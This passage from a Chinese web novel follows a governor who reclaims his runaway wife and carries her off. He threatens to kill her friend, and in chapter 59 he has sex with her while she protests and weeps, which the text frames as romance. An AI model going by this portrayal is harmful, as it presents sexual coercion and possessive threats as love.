酸涩瞬间灌满朱幼宜的心腔,她抱着小家伙,心软的一塌糊涂,她捧着他稚嫩的小脸亲了一口。 岑亦初感受到娘亲的疼爱之心,他立时咯咯地笑出声来,笑声清澈欢快。 此刻的戏楼雅间里,在座的商会豪绅、番商、和一种姑娘们,都被金韫年精妙绝伦的舞剑摄住了心神,几乎皆是屏息凝神,竟不闻杯盏之声,更甚者如妙言一般目露痴迷。 她一身青衣玉冠,剑眉星目,芝兰玉树,挥剑间身姿如孤鹤凌空,剑身寒光流转若流风回雪,她英姿矫健,振腕间似有残影,一柄三尺青锋在她手里如走游龙,收放自如,真真是登峰造极,无与伦比。 陈君砚见她眉宇间锐气逼人,无一丝一毫女子媚态,竟是俊美非常,如此风情,撩拨得他一颗心砰砰直跳,险些要跃出胸腔。 他暗道难怪她能叫一众人都看走了眼,却又想她若是穿着女子装束,又会是何等风情,如此想着,一时心潮涌动、情难自抑,只想将她带回家去藏起来。 前有妙言对比,一时高下立见,纳隆.提拉沙被金韫年的精妙身法所折服,看到激动处高声喝彩:“高,实在是高。” 周霁宸不是票友,却是戏痴,尤爱妙言今日这一出反串的女将军,此时见了金韫年的舞剑一时惊为天人,亦是赞不绝口:“妙哉,妙哉。” 缓过神的众人都不住喝彩,还有那偷瞄红绡的姑娘,眸中说不出的嫉恨之色,都嫉妒红绡好命,能有这样一个俊俏的金主儿,不仅出手阔绰,怜香惜玉,还有一把好腰,只是见了便觉有力,若是她们,能‘吃’这样好,不要钱倒贴也是肯的。 此时红绡虽是不错眼的看着,她神色如常,藏于袖下的指尖却悄悄掐进掌心,心尖像是被人狠狠攥着,卑微到了尘埃里。 红绡很清楚,这样风姿卓绝的金韫年,她这种风尘女子是不配的,只是与他在一处便也是玷污了他,所以他从来都没有碰过她,即便她还是干净的。 他们之间,不过是一场交易,不过是金韫年可怜她罢了,这样不染凡尘的公子,还有一颗救苦救难的菩萨心肠,怜悯她们这些风尘女子,哪个女子能不死心塌地甘愿沉沦。 红绡这样想着,目光瞥一眼,一旁已是不能自|拔满目痴恋的妙言,唇角泛起一丝苦涩笑意。 孟清辞并非是跳舞,她从前因拍戏,特意和越剧大事学过小生反串,也因此,能在人前扮男子不被看穿,她剑里藏锋,刚劲凌厉,反而让人忽视她身姿纤弱单薄之感。 孟清辞之所以痛快的应下舞剑,便是叫人对她男子的身份深信不疑,根深蒂固。 这一番下来,见众人情状,可谓恰到好处,效果显著。 傅珩不顾举兵之际,日夜兼程,赶来广州府,得知孟清辞人在戏楼与人宴饮,便直接策马疾驰飞奔而至。 这一路上他患得患失,业火焚心,距离越近,那颗枯寂的心就越发躁动,几乎要撞碎胸骨。他岂会不知?她怨自己强掠她,怨他给她‘种香’,将她强绑在自己身边。 两年间七百多个日夜,傅珩曾无数次想过,倘若上天垂怜,让他失而复得,他定会改了性子,好好待她。 如今他知晓她不仅活着,还生下了他们的孩子,便想她独自生产定是吃了不少苦头,暗暗告诫自己,此番重逢,无论如何都要按耐住脾性,不能再伤了她。 却不想,待他推开雅间房门的那一瞬,看见的竟是孟清辞于人前肆意轻盈挥剑,神采奕奕的洒脱模样,是他从未见过的风景。 他不在她身边的时候,她竟然过得如此快活,没有他,她怎么可以快活。 还有那些投注在她身上的视线,如同跗骨之蛆,有如实质,让他想要将这些人的眼睛全部腕出来,不论男女。他们是什么玩意儿,怎配看这天下未来的皇后舞剑。 傅珩眸色如深渊凌冽,珩胸腔里翻涌起一股酷烈的杀意,恨不得亲自提剑,立时叫这里血溅五步。他指节扣在剑柄上,强忍着拔|剑的冲动。 雅间内兴致正浓,破门声将满室高涨的兴致戛然打断。众人循声望去,竟是不识得。 薛天禄被搅扰了兴致,不耐发作道:“什么人?敢在小爷面前撒野?还不叫人轰出去。” 傅珩一早便见他看孟清辞的目光不干净,他若不是怕吓着她,此时早一剑便要了他的性命。 他未发一言,只一摆手,墨简便叫人上去将薛天禄堵上嘴拖下去。 雅间内见此阵仗都是大为震惊,尤其是那些陪酒的姑娘们,各个躲到后面瑟瑟发抖,机灵的不敢发出一声惊呼。 有人已经看清了傅珩身后跟着的黑甲军,虽多数不识得他,却也隐有猜测。 此刻在座和薛天禄称兄道弟的,哪个都没开口给他求情,倒是害怕他拖累自己。 陈君砚待看清那着一身墨色常服的竟是闽广巡抚,傅大人时,他瞳孔微缩、愣怔一瞬,但他反应极快,即刻起身,越过尚在怔愣的众人上前,恭敬地撩袍跪倒:“草民陈君砚,拜见傅大人。” 陈君砚曾有幸见过傅大人,他敏锐的察觉对方周身散发的寒意,头颅垂得更低,言语间甚是审慎:“大人若有吩咐,但凭差遣。” 傅珩一个眼锋都没给跪在地上的陈君砚,他灼灼的目光锁在孟清辞身上,一寸寸从头到脚略过,不放过任何一处,似是在确定她是完好的,是否是真实的。 雅间内诡异静谧透着窒息的压抑,无人不屏息凝神,生怕惊扰了这位执掌闽广生杀大权的天。 孟清辞自看见傅珩便转过身背对着他,此刻她如芒在背却不敢移动分毫。 傅珩望着她那紧绷的背影,终是无奈地低叹一声,他压下所有翻涌的情绪,生怕怕惊扰了她,将语气放得低缓而缱绻:“夫人让为夫好找,既已尽兴,便随我回去罢。” 在座众人本已是惊惧交加,闻听此言更是差异愕然。数道目光皆齐刷刷投向金韫年,此间与她过从甚密者不在少数,具难以置信的在她身上逡巡。 任谁也无法将眼前风流清隽的年轻公子,谈笑间便可商榷大宗宝船买卖的海商掮客,与巡抚夫人联系起来。 却是巡抚大人一语道破天机后,再细看那眉眼轮廓,竟从哪过分单薄的身姿辨出了几分女子的纤柔,再去细看,当真是雌雄莫辨。 傅珩立于门前,目光幽沉凝望着她。好容易寻到她,他并不想一见面便逼迫于她,饶是此时他只想屠了这里的所有人,仍放软了嗓音:“儿子还在等你我回去。” 果然孟清辞闻言,背对着他的身躯微微发僵发颤,他既已寻到此处,便是将她的底细摸得一清二楚了。心中惦念,不知此刻朱幼宜与孩子如何了? 心知她这两年的筹谋注定付之东流了,只能认命的呼出那口不甘心的郁气,负气般将手中剑掷于桌案上,冷着脸不情不愿的朝傅珩走去。 傅珩朝她伸出手,耐心地等着。那短短数步之遥,孟清辞却犹如赴刀山火海,任凭她再是不甘心,此刻也不得不屈服。 孟清辞早看清了他的本性,他待她越是温和,发作时便愈是骇人,他自然不会动她分毫,却会要了旁人的性命。她不敢拿朱幼宜的命去赌。 待她与自己只一步之遥,傅珩猛地攥住她的手腕,将她带入怀中。不等她反应,已打横抱起,用披风将她裹得严严实实,抱着她转身大步离去。 满室寂然,只余下错愕的宾客面面相觑。 黑甲军跟着傅珩撤离,雅间里,热闹的筵席转瞬间只剩下残席冷炙,众人仍旧久久无法回神。 “天爷。”纳隆.提拉沙许久才回神,说出一句他学的俚语:“我竟是巡抚夫人的座上宾,我果然是个幸运儿。”以他的身份,日后有巡抚府夫人的交情,呵呵~~这种好事,他都不敢想,不敢想! 妙言一副黄粱梦醒,心碎了的模样,久久无法转圜心思。 红绡则是攥着手中团扇强自镇定,都道‘女表子无情,戏子无义’,可此刻,比起她失去了金韫年这个金主儿,将面对的难处,红绡更担心‘金韫年’如今的处境。 别的事情,红绡或许知之甚少,可自小长于秦楼楚馆之中,情之一事,她看得比谁都清楚。‘金韫年’对那巡抚大人,分明是不愿的,否则谁放着好好的巡抚夫人不做,有福不享,要女扮男装混迹在一众男子间。 筵席间其他的姑娘们则是羡慕有之,嫉妒有之,羡慕那能得巡抚大人青睐的女子,妒忌红绡的好运气,金主是女儿身,那红绡便是完璧之身,要知道,‘金韫年’在红绡身上可是花了过万两银子。 她们这些风尘女子一旦待价而沽,往后的身价便只有跌价的份儿。如今红绡不仅仍是完璧之身,她这曾被巡抚夫人包过的头牌,更凭着她与巡抚夫人那段过从甚密的渊源,身价反倒水涨船高。 自此,慕名而来,盼着一睹芳容、意图攀附关系的世家子弟与豪富巨贾,只怕将如过江之鲫,络绎不绝。 此间荣耀非哪个花魁名头能比,怎是一句妒忌羡慕可道的。 周霁宸摸了摸光洁的下颌,咂摸了下方才的前因后果,想着自家好歹殷实,又向来衷心低调,他此前并不识得巡抚夫人,这两年对‘金韫年’也算关照有加,正所谓不知者不罪,功过相抵,巡抚大人总不会迁怒于他,心里踏实了不少。 他不免又想,来日方长,有这层情面在,总是利大于弊,指不定那日便能沾光,叫他周家飞黄腾达。 赵经伦出了一身冷汗,他今日可是东道主,眼瞧着差点和薛天禄一个下场,不免欷歔,薛天禄八成凶多吉少。一面又暗自悔恨,没能与‘金韫年’多多攀附交情,比起周霁宸和陈君砚,自己的眼光格局到底浅薄了。 陈君砚缓缓站起身,失魂落魄地向外走去。他眉宇间凝着化不开的沉郁,唇边泛起苦涩的笑。 难怪他始终查不出她的来历,原来她竟是巡抚大人失踪两年的夫人。可笑他竟还生出不该有的痴念,幸好这痴妄从未宣之于口。 只观方才薛天禄的下场便知,但凡让巡抚大人知晓他对她有一丝一毫的心思,莫要说他这项上人头,便是陈氏满门的性命恐怕都难保。 又忍不住想,她今日说想单独约他,是有何事求他?彼时两人靠得那样近,她身上似有若无的浅香,仍叫他魂牵梦萦、欲罢不能。 车帷之内,傅珩指腹温热,动作轻柔,一点点为孟清辞拭去脸上的伪饰,露出她本来清丽绝俗的真容。 他贪恋的眸光在她眉目间久久盘桓,牢牢锁住她的眉眼,细长双眸中翻涌着化不开的深沉占有与偏执浓情。 他拇指的指腹缓缓碾过她柔嫩的唇瓣,那一如记忆中的触感,瞬间点燃了他对她压抑已久的渴念,傅珩眸色陡然转深,眼底翻涌的暗沉情|潮,几乎要将她吞噬。 孟清辞靠在车壁一侧,侧头避开他的触碰,没甚好气道:“这是往哪儿去?孩子呢?” “自然是要带你回家。”傅珩一把攥住她纤细的手腕,力道大得不容挣脱,赤红的眼底翻涌着偏执与痛楚,控诉道:“夫人为何不问问我?这两年,没夫人在我身边,我是怎么熬过来的?夫人,你好狠的心呐!” 自己的好打算叫他搅黄了,孟清辞面上还稳着,心里却是怒火中烧。闻言抬腿便踹向他小腿,掀起眼皮瞧他,只没什么好脸色,讥讽道:“问你什么?你的事情都是世族豪商间的谈资,你如今得了火|药,有了制霸天下的利器,正是春风得意,有什么好问的。” 傅珩挑眉,捏着她的下颌,勾唇浅笑:“这还要托夫人的福。” 孟清辞果然听了气不打一处来,怒瞪他道:“既然得了好处,你我便两清了,你明知道我不愿意,还来寻我作甚?” “你不愿吗?”傅珩沉了脸色,眸中有痛色一闪而过,他嗓音低哑:“我不信你对我没有一丝的情谊,初见时你对我明明有好” 孟清辞猛的推搡他,打断了他的话,疾言厉色道:“没有,你闭嘴,我对你从来没有” 傅珩卸了力道,靠在车壁上,他自嘲的低低地哂笑一声:“从来没有什么?从来没看上我?还是从来没对我有过半分好感?” 孟清辞心口剧烈起伏,两人从前,皆心照不宣的有意回避,从不提及相识时的事,不愿在此刻与他纠缠那些旧事,冷声将话题岔开:“你怎么找到我的?” 因朱幼宜刚给他提供一批天丝棉的军需,她知道他举兵在即,此刻正当时局攸关,政务千头万绪,分身乏术之际,万万想不到,他会在此刻抽身前来寻她。 傅珩唇角勾起一抹讥诮的笑意:“还要感谢我的好师弟,若非好奇他为何盘桓市舶司不愿离开,派人来查,我还真无法这么快寻到夫人。” 孟清辞抿唇,忽略他再明显不过的挑拨之意,终究图穷匕见,按耐不住的问道:“朱幼宜如何了?” “若再寻不回你,不出一年,我便会油尽灯枯、心力耗尽而亡?”傅珩眼神骤然锐利如刀,一把将她箍在膝上,在她耳畔阴鸷低语:“她这个知情人,从中作梗,离间我们夫妻,我定然不会让她好死。” 孟清辞美眸中的惊诧不似作假,傅珩便知她对此,果然一无所知—— 作者有话说:孟清辞:试探过了,好像还能谈,没发癫,不是很生气 傅珩:呵~我差点噶了,这事儿没完 作者:本来以为能更一万,结果产出实在可怜,只能这样了,好在这文不是很长了,一起忍忍! 第59章 第 59 章 在报复她 傅珩知道, 孟清辞虽怨他、恨他,却没到想要杀他的地步。若是她知道‘种香’是以他之命续她之情,以她那副柔软心肠, 定然不会对他见死不救。 只是, 彼时他想要的,是她的倾心爱意, 而非她的怜悯施舍,如今看来和失去她相比, 只要能将她留住她,怜悯施舍又如何。 孟清辞难以置信,唇瓣嗫嚅问道:“那你当初为何?为何这你对有什么好处?” 话音未落, 傅珩忽然扣住她的后颈,不容抗拒地将她压向自己,狠狠攫住那日思夜想的柔软唇瓣, 像是压抑太久的暴风雨顷刻冲破堤坝,疯狂肆意在她唇齿间宣泄他的思念与痛楚。 如狂风过境般,像是要吞噬一切, 摧毁一切,久违了的,熟悉的气息侵蚀在她唇齿间, 心口止不住的悸动, 血液仿佛在沸腾。 孟清辞分不清这失控的颤栗是因为‘种香?还是被他一次次刻入骨血的习惯?亦或是什么别的, 连她自己都不敢深究的原因。 这两年她可谓清心寡欲, 此刻汹涌激荡的情绪毫无征兆的排山倒海倾轧而下, 孟清辞使劲儿推搡他坚实的胸膛,想要挣脱这失控的漩涡。 却叫傅珩掐着一把细腰不松手,仿佛要将她嵌进骨血里, 又似是要钻进她的神魂里。 任孟清辞如何气急,将指甲深深掐入他后颈的皮肉里,傅珩依旧纹丝不动,他仿佛感觉不到痛楚。直到她力竭身软,连最后一丝脾气也消磨殆尽,他才勉为其难,意犹未尽,略略松开了力道。 孟清辞朱唇红肿,潋滟着水渍,侵染他的气息,像一枚熟透欲滴,只稍一用力便会破皮的蜜桃,诱人采撷。傅珩眸色深邃,抿着唇抵着她的额头,喉间滚出一声低哑的自嘲:“你不是都清楚吗?所以你才这样嫌恶我。” 不只是她嫌恶自己,连他自己也嫌恶自己。他自幼便知,自己流着母亲肮脏龌龊的血,他是存在便是耻辱,所以他嫌恶王氏,也嫌恶自己。 后来他被祖母发现异常,怕他一叶障目,告诉他:他并没有错。即便没有王氏,傅家也从来不干净,她自己便是被祖父强取豪夺的,他父亲更是强夺人妻,才有老大,以至于老大到底是谁孩子,也未可知。将侯府旧事说与他听,便是不想他过分自厌。 即便祖母与他说了许多,他亦清楚的知道,他骨子里就是流着傅氏和王氏一样卑鄙龌龊的血,更叫他恶心,遂他从不近女色,对男欢女爱深恶痛绝。 直至遇见孟清辞,彼时自己先动情,她却只想摆脱安义侯府,拒他千里之外,视自己如无物。 他出身傅氏名门,巡抚闽广多年,手握滔天权柄,从来只有被旁人逢迎的份儿,向来无人能拒,更无人敢拒。他平生第一次捧出的真心,怎么容她如此视而不见的轻贱。 于是他难以抑制自己的卑劣,在她面前装不下去君子,一心只想她将心思只放在他的身上,只看他一个人。 她和他一样长在傅氏,即便为婢也有一双干净的,洞穿一切眼眸,有一颗出淤泥而不染,坚定不移想要爬出泥潭的心。 他只要一靠近她便觉得被救赎的温暖,似乎能洗涤他一切的污浊,让他只想不管不顾的掠夺。明知道她有多嫌恶安义侯府,多嫌恶傅氏的每一个人,他仍旧要拉她堕入这泥潭。 以前他不懂父母这种近乎病态的癫狂,那一刻他忽然便懂了,竟奇异的不那么厌恶父母了,也再不自厌。她是他的救赎,一个自救的人有什么错呢? 孟清辞胸|脯|起|伏,喘息着,心脏有一瞬间像是要被人捏|爆|的疼痛窒息,有什么像是要压抑不住喷|薄|而出,美目赤红怒火煊赫:“是你自己说,你的便宜不是好占的,我看错了人,这个错我认,这个代价我付得起。但是你贪心,想要换我一辈子心甘情愿的跟你,天下没有这么便宜的买卖。” 她来这里十年,安义侯府的魔幻磨平了她所有的柔弱与期待,十年间她如履薄冰,在这个吃人的魔窟,她想要活下去,要摒弃她所有的良知和善良,有的只是利用和利益,还有虚与委蛇的表演。 但是两人初见那夜,她感受了傅珩无所求的善意,故作不知的‘庇佑’,算不上温暖,却是她艰难求活十年,身处绝境时的唯一一次,有人伸手拉了她一把,却没有向她索要所谓的‘报酬’。 他带她出大长公主府时,她知道他待她有好感,但她那时只想尽快离开令她窒息的安义侯府,不想与安义侯府的任何人再有什么牵扯,毕竟这件事情,她已经谋划了十年,期待了十年。 却不想傅珩打破了她对人性最后的一点期待,杀人诛心,恰恰是他什么都没做,她便毫无招架之力。 她无法怪他,还要支付代价,毕竟没有傅珩,她当时根本走不出安义侯府。若真生出情意来,也是恨他、怨他负她。他怎么还能在这样的情况下期待她还会倾慕他? 傅珩攥着她的手,掌心贴在他的心口上,那里低沉有力的跃动着:“你如今知道我的命在你手里,你想要公平,如今公平了,你想要怎么谈才能留我一命?”他略讥讽道:“我知你看不上,它却还是值点什么的,不是么?” 他原本以为,她愿意有自己的孩子,便是想通了,却不想她只是麻痹自己,不顾炸毁丹炉的凶险也要摆脱自己。 这两年他一直在揣摩她的心思,他无数次回忆两人在一起的点点滴滴,哪怕是从中找寻一丝一毫她待自己的真心。 他确信那夜初见,她真心谢自己帮他挡去傅鸿轩的纠缠。乐安大长公主府里,她替傅静妤跳舞,被长宁郡主带人围堵,他帮她脱身,她于自己书房榻上醒来,虽有惊吓,待自己也有几分真心,她几乎就要信自己了,是他打碎了她难能可贵的信任,还一错再错。 傅珩其实是后悔的,如果他当初选择多一点耐心,少一点手段,是不是她对他,多少会有一丝情,是不是会比如今强千百倍。 可这世上没有后悔药,她这样刚烈的性子,一次不忠百次不容。可他还是想试试,即便是用自己的命去堵,即便她不喜欢自己,只要她还愿意待在他身边,便足矣。 孟清辞愣怔了下,没想到他那么骄傲自尊的人会贬低自己,以如此清奇的角度和她谈自己的生死。他心口的跃动滚烫,有种她无法承受的压抑感,她想要抽回自己的手,却叫他牢牢的攥着按在心口上。 “松开。”孟清辞气愤的怒瞪他。 傅珩却执拗地,一瞬不瞬的凝视着她,不错过她一丝一毫的神情变化。 都是聪明人,话已经不需要说的太白。 此番被傅珩逮到,他竟还愿意给她台阶下,着实出乎孟清辞的意料之外。 她想:以傅珩性情,不说折磨她,必然要宣泄一番,给她点颜色,借以告诫她老实安分。 孟清辞也仔细觑傅珩神色,不似作伪,她眨了眨眼尾仍旧泛红的一双美眸,干脆利落地颔首,给了一句傅珩想要的准话:“一命换一命。朱幼宜的命,换你的命,是你赚了。” 她不在乎“种香”究竟是何原理,左右已成定局。傅珩的意图,不要太明显。 若如说当初她善意拉了朱幼宜一把,那朱幼宜带她离开闽州,也算两清了。可这两年,朱幼宜甘愿冒着性命之忧,以自身婚姻为自己遮掩身份,将自己的身价全托付给自己,待自己的孩子视如己出,冲着这份情义,她孟清辞做不到置之不理。 有朱幼宜的性命作保,除非朱幼宜某日背叛她,否则这将是两人一个生死契约,孟清辞不会拿朱幼宜的性命去赌。 傅珩几乎抑制不住想要上扬的唇角,他竭力克制,若是他笑了,只怕她要气到她。 马车早已停下,却没人敢近前催促,一时除了外面的时有时无的海浪声,车厢里静寂静无声,连两个人的呼吸声都不自觉的轻了几分。 孟清辞清晰地感觉到,傅珩的心跳又快了几分。那“咚咚”的震动,透过紧贴的胸腔,震得她心尖发麻,连指尖都跟着微微颤抖酥麻起来。 他细长的黑眸中,此刻正翻涌着毫不掩饰的、令她心惊的炽热眸光,目光太具侵占性,几乎险些让她败下阵来。 像是害怕打破两人间难得没有虚伪的平和,傅珩的音色低柔,刻意放轻:“清辞,你这么聪明,你知道我想要什么。” 孟清辞闻言顿时冷了脸色,按着傅珩的心口,顺势用力推搡他:“呸!那是另外的价格。你不要得了便宜还卖乖,若是没有我,你想要这天下,只怕也是要尸山血海趟过去,能否从群雄间生出还未可知。其他州府也不是吃素的,即便你运气好也是险胜,却必然是代价惨重,十数年休养生息能否缓过来未可知。” 她看冷嗤一声:“你经营闽广浙三地多年,这一仗,不仅劳民伤财,还要损兵折将,几乎是耗尽你这些年的心血,我不信这笔账你算不清楚。如今你因我研制出了火|药|这等利器,别说昭德朝无人能与你争锋,便是蛮夷、番邦也要惧你威慑,不战而屈人之兵,万邦来朝、四海称臣是迟早的事,你竟然还不知足。” 傅珩顺势歪倒在坐榻上,带着她压在他身上,昏暗的车厢里听着她的鞭辟入里的‘真知灼见’,这等对天下局势的见解,抵得过他的谋士。又暗想:从前她果然处处都在藏拙。 将她的手抵在唇上轻吻,傅珩垂眸,遮掩一瞬间的落寞:“你想要什么?我的命都攥在你的手里,又有什么是不能给你的?” 傅珩这两年没少琢磨孟清辞,总是深夜在两人的侵房抚摸她的每一件饰品,每一件她穿过的衣裙,她离开的时候什么都没带走。 他一直在想,她全不记得过往,在安义侯府这种肮脏的地方为婢十年,如何做到不被俗世欲|望裹挟,毕竟傅晏桉和傅静妤兄妹的手段对付一个奴婢错错有余。 她在闽州挥金如土,奢靡尤甚世族千金,却不爱华服美饰。她爱钱财,一早资助宋氏兄弟,为自己铺路,却没拿走他一毫一厘,好不贪恋。 她是如何做到这般无欲无求?她这种定力,不要说她是一个奴婢,便是王公贵族,也难过‘贪欲’二字。 孟清辞知他在问什么,从前不过敷衍于他,如今却像看他如何作答,轻笑一声:“我要你的半壁江山,我要天下没有秦楼楚馆,没有戏子贱籍,你肯吗?” 她想:先说这些罢,不能一口吃个胖子。总要叫他做些什么,才不会显得那么委屈自己。 傅珩掐着她要的手紧了紧,静了片刻,才道一声:“你就想要这个?” 孟清辞秀眉微挑:“怎么?舍不得?” 若说这两年在市井,她体会最深的,还要数对秦楼楚馆的认知,要说第三生产力可真是一笔不小的财政收入,几乎是一本万利的无本买卖。 只是,这些人中,绝大多数都擅歌舞乐器,她曾爱舞如命,因舞受到万千观众的爱戴,这便让她每每在秦楼楚馆、乃至戏楼,看见那些从业者,尤其是女子,被轻贱物化侮辱,便产生极大的生理不适,以至于深恶痛绝。 说是心善吗?那不见得,毕竟她在安义侯府十年,没人救她,最后也是她自救,她只是不想割舍埋藏在心底的那个本我。 “和你的真心比,是我赚了。”傅珩珍重的在她唇上吻了吻,状似不经意问:“清辞,你很喜欢跳舞罢?” 傅珩没有错过她在雅间里舞剑的那一瞬的眉目神情,不同于从前他见的每一次,男子装扮让她更加收放自如,面对众人纯粹的惊艳激赏,她更显张扬自傲。 又那么一瞬间,傅珩似乎窥见了某个他从不知道的关窍,似乎离她的心很近了,他想只要再近一些 这一次他不会再心急,不会再搞砸了。 孟清辞有一瞬间像是被点穴的僵硬,傅珩却没等她的回答,亦没再问,只是抱起她下马车,上了那型制庞然华丽的宝船。 严江眼看着孟清辞被带走,他被黑甲军拦着,急的不行却毫无办法,只能冒雨赶车回岑府报信,待回到岑府,却只有岑管家和一众仆婢。 严江如遭雷击,几乎觉得天塌了,一时茫然无措,不知道发生了什么。 岑管家见他浑身湿透,丢了魂一样,拍了拍他的肩膀:“夫人说了,你本就没有身楔,如今老爷已不再用仆役,你若是想留可以去肇庆府的作坊某个差事,若是不想去作坊。”岑管家拿出一张千两的银票递给严江:“夫人说,你这两年,伺候老爷尽心,这些全当做是心意,让你拿去,好好过日子。” 严江摸着那张银票,心里油煎过一样。 “你受了寒气,先住在府上养养,若是想好了,在走也不迟。”岑管家见他备受打击,叹口气,转身走了,他也要去缓缓,他今日五脏六腑都移位了,大半辈子没被这么吓过。 隔了两日,戏楼里的事情已经让外间传得神乎其神,严江才知道了个大概, 从震惊到心里闷堵的厉害,七尺的汉子,长出了青胡茬,双目如火赤红,唇角都是燎泡。 他走镖被做局,让人推出来做替罪羊,他本以为自己是必死无疑,不想阴差阳错被金韫年所救,他本想为奴为婢报恩,却不想她收留他,却没要他卖身。 他日日跟着她在外办事,时有筵席,他经常随侍在侧,几乎比她与夫人在一起的时候还要久,这样日日近的跟随,他又不是毛头小子,哪里发现不了她的秘密。 严江想,一个女子如此大费周章隐瞒身份,必然有天大的不得已,她于他有救命之恩,他不会背叛她,只装作不知,见她越发声名鹊起,不禁佩服她的手腕和聪慧。严江做梦也想不到,她竟然是闽广巡抚的夫人。 且说傅珩抱着孟清辞进了船上的卧房,坐在床榻上,抱她坐在自己膝上。 感觉到船缓缓开动,孟清辞却急着想见朱幼宜于儿子,想要挣脱他:“我要见儿子,你把人安排在哪里了?” 傅珩却不让她走:“那也是我儿子,我难道还能亏待他?” 孟清辞捶他肩头:“他太小了,从没出过远门,没有熟人带着肯定认生,我怕吓着他。” “放心,有朱幼宜陪他。”傅珩捏着她的下颌,逼她看着他,见她黑眸里只映出自己的身影,才稍稍满意几分:“清辞,这两年,你真的一点都不想我吗?” 孟清辞想:想啊,当然想啊,每次想起他都是意难平,恨的牙痒痒。 好在傅珩并不一定要要她答,他如今不再傲慢的自欺欺人,也不贪恋她的虚伪温柔,他不吝啬的道:“我无时无刻不在想你,想到五脏六腑都在疼,你便疼疼我罢。” 孟清辞不想他还能说出这等不要脸面肉麻的话,下一刻便让他扣在怀里亲吻。此刻他与马车里的急切不不同,这一吻似乎真的要诉说他这两年的思念之情,缠绵悱恻的几乎将她溺毙在其中。 “清辞。”他轻唤她的名字,似乎这样便能确定,她此刻真的在他怀里。 孟清辞想一定是‘种香’又在影响她,否则她为何能感受到他不同以往的情真意切,她不相信傅珩这种工于心计的人会有多少真心。 “清辞,我悔过了,可你也要补偿我一些。”傅珩的气息有些不稳,即便过了两年,他仍然对她所有的敏感了若指掌。 傅珩从后压着她的脊背贴在墙上,亲吻她的后颈,灼热的呼吸在她耳畔,略带剥茧的修长有致,执笔批阅公文的手指,不过须臾便如水洗。 她毫无招架之力,无法挣脱的,以一个屈辱至极的,只有一个着力点,她只能在他和墙面之间找到那个平衡点。 傅珩仍旧不要脸的道:“我第一次见你跳舞的时候,便想你真软呢,你猜我那时在想什么?” 孟清辞腾的一下血液上涌,几乎是羞红了脸,挣扎着骂他:“你恬不知耻,混蛋,你怎么能这么对我?”说道最后隐有哭腔。 傅珩吻她眼角低落的泪,嗓音低哑透着情|欲|:“清辞,这两年你有没有一刻想我?”他掐着她的一只脚踝按在墙上,掐着她的腰窝。 孟清辞只觉得傅珩这一刻是在发了狠的报复她,她就说他不是个什么大度的人,都怪她,算计不过这只老狐狸。 傅珩也不催她,两人似是无声的较劲,直到孟清辞几乎破音:“别,别我不行” “清辞,它很想你。”傅珩却不肯轻易放过她,安抚般蹭了蹭她细腻雪白的颈窝,嗓音似是哄她:“别怕,忘了吗?从前都能的。” 孟清辞拧不过他,两人在这事上从来没匹配过,她又是两年清心寡欲,哪里经得住他孟浪,她识时务的道:“我错了,你饶了我这回。” “你这么紧张,便是也喜欢的。”傅珩只有这时候才真正觉得自己的心脏重新活了过来,又哪里肯放过她:“是我从前不好,你从前嫌我无趣,如今我都改了。” 孟清辞闻言吓得花容失色,这老色胚怎么有脸说想自己的,更不知道他都在哪里学来的‘下三滥’招数。 有那么一瞬间,孟清辞觉得求神不能,求死不得,天堂地狱走一遭。 傅珩咬着她耳垂的软肉,在她耳畔喃喃低语:“清辞溺了。” 孟清辞只觉得羞耻悲愤到怒极,控制不住哇的一声哭了出来,仍旧难以接受这个事实。 傅珩这才饶过她,把她抱在怀里,一下一下极有耐心的轻抚她的背脊:“乖孩子,你只是喜欢罢了。” 孟清辞哭的上气不接下气,好不委屈,像是破碎的布娃娃:“你欺负人,你怎么能这么欺负我?傅珩你不能这么欺负我!你不能” 傅珩餍足中透着些许可怜:“我只是想离你的心更近些。” 孟清辞闻言呆愣到忘了哭,她打了个哭嗝,即便手软脚软,也忍不住手脚并用的踢打傅珩,在忍不住骂他:“我恨你,我恨你,狗男人,狗男人,够近了吗?” 孟清辞今日劳心劳神,又受了惊吓,本就耗费精神,再这么一哭,没多一会儿便力竭昏睡了过去。 傅珩仔仔细细的给她清洗,小心珍惜的近乎虔诚,又给她换了寝衣,抱着她到床榻上,盖好被子,放下幔帐。 傅珩这才整理一番自己,踏出侵房,对门口的婢女道:“莫要扰了她,她若是醒了,便来回禀。” “是。”那婢女一脸木然,看那挺拔的身形却显然是个练家子。 船舱里,岑亦初有些兴奋,他虽然做过船,可他从来没坐过这么大的船,但他却仍旧没有到处乱跑。小家伙能感受到娘亲的不安,他是男子汉,要陪在娘亲身边,不过他还是忍不住问:“娘亲,咱们这是要去哪里?爹怎么办?” 朱幼宜这一路抱着儿子就没撒手,此时儿子在她膝上太久,她双腿麻痹,仍旧没有放下儿子,她抿了抿唇道:“你爹这会儿有点忙,等他忙完了,就来看你。” 她摸着小家伙的头上柔软的细发,温柔的问:“娘嘱咐你的话,你都记着吗?” 岑亦初抓着她一只手的食指,很是得意的道:“当然,娘的话我都记得。” 朱幼宜忍不住酸了鼻尖,她强忍着,笑着夸奖:“我们亦初最厉害了,你记得,娘便放心了。” 岑亦初蹙眉:“我要是忘了,娘会提醒我的,娘,你要去哪里?为什么不带亦初?” 朱幼宜别过脸,她不想儿子竟然如此聪慧,她只是多说两句,竟然叫他察觉了。 正在此时,傅珩大跨步进来,他的目光第一时间落在幼子蹙起的眉心上,立时目光色锐利的扫过朱幼宜,寒冰一样的目光,似是质问,又似是在警告。 朱幼观其气度威重,虽没见过巡抚大人,心下已明了八九分。赶忙收敛心思,将岑亦初轻轻放下,为他整饬衣冠,而后柔声引导,语气如寻常般慈爱道:“亦初,这就是你的父亲。去,向父亲行个礼。”—— 作者有话说:孟清辞:老流氓 傅珩:我素了两年,请见谅 作者:这部分两人某种程度算是说开了,强取豪夺只是开始,谈爱还有个过程,接下来的主线是男主关于面对情敌,两口子对内拧巴,对外一直怼 如果我情绪允许,可能即兴写if线,if线酝酿:1男主重生,2女主在现代遇见现代男主,大家可以投个票。 第60章 第 60 章 胜算最大 岑亦初仰起小脸, 带着几分懵懂疑惑望向傅珩。那双清澈明亮的眸子里映着眼前这个陌生男人的身影。小家伙没说信,也没说不信,只是将小小的身板挺得笔直, 有模有样地躬身拱手, 行了个规规矩矩的拜谒礼:“小子岑亦初,给您行礼了。” 傅珩意外才两岁的儿子, 非但不怕生,反而举止得体、言语有度, 小小年纪便显露出超乎年龄的稳重与聪慧,却又与有荣焉,这是他和清辞的第一个孩子, 如此早慧优秀,他后继有人了。 然而,不等傅珩唇角扯出一抹笑意, 